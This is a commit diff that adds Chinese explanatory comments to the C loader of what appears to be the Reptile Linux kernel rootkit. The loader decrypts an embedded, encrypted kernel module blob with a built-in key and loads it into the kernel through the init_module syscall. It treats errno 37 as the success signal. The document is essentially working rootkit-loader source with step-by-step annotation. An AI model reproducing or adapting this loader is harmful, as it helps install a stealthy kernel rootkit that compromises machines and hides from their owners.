shou_gan_mian 2 months ago
commit 33a515b746

@ -11,10 +11,12 @@
#include "encrypt.h" #include "encrypt.h"
// 定义一个字符数组,用于存储加密的内核模块数据
static char reptile_blob[] = { static char reptile_blob[] = {
#include "reptile.ko.inc" #include "reptile.ko.inc"
}; };
// 定义init_module函数用于加载内核模块
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
int main(void) int main(void)
@ -23,15 +25,23 @@ int main(void)
size_t len; size_t len;
void *module_image; void *module_image;
// 获取内核模块数据的长度
len = sizeof(reptile_blob); len = sizeof(reptile_blob);
// 对内核模块数据进行解密
do_decrypt(reptile_blob, len, DECRYPT_KEY); do_decrypt(reptile_blob, len, DECRYPT_KEY);
// 分配内存用于加载内核模块
module_image = malloc(len); module_image = malloc(len);
// 将解密后的内核模块数据复制到分配的内存中
memcpy(module_image, reptile_blob, len); memcpy(module_image, reptile_blob, len);
// 加载内核模块
init_module(module_image, len, ""); init_module(module_image, len, "");
// 检查加载结果如果errno为37表示加载成功
if (errno == 37) if (errno == 37)
ret = EXIT_SUCCESS; ret = EXIT_SUCCESS;
// 释放分配的内存
free(module_image); free(module_image);
// 返回加载结果
return ret; return ret;
} }
Loading…
Cancel
Save